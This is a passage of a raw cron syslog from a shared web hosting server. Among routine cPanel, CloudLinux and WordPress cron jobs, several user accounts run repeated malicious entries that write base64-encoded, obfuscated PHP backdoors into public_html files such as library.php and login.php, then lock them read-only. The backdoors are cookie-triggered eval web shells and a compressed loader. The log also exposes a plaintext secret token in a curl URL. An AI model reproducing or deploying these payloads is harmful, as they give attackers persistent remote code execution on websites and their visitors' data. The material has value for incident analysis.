"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:28:01 medusa CROND[24251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:28:01 medusa CROND[24302]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:29:01 medusa CROND[15307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:29:01 medusa CROND[15373]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:29:01 medusa CROND[15372]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:29:01 medusa CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:29:01 medusa CROND[15375]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:29:01 medusa CROND[15380]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:29:01 medusa CROND[15383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 06:29:01 medusa CROND[15388]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:29:01 medusa CROND[15399]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:29:01 medusa CROND[15400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:29:01 medusa CROND[15401]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:29:01 medusa CROND[15402]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:29:01 medusa CROND[15404]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:30:01 medusa CROND[7009]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:30:01 medusa CROND[7173]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7174]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:30:01 medusa CROND[7176]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 06:30:01 medusa CROND[7179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:30:01 medusa CROND[7178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:30:01 medusa CROND[7180]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:30:01 medusa CROND[7177]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:30:01 medusa CROND[7182]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:30:01 medusa CROND[7181]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:30:01 medusa CROND[7184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 06:30:01 medusa CROND[7188]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:30:01 medusa CROND[7190]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:30:01 medusa CROND[7192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7194]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:30:01 medusa CROND[7189]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7193]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7201]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7211]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7212]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:30:01 medusa CROND[7213]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7204]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:30:01 medusa CROND[7205]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Apr 19 06:30:01 medusa CROND[7217]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
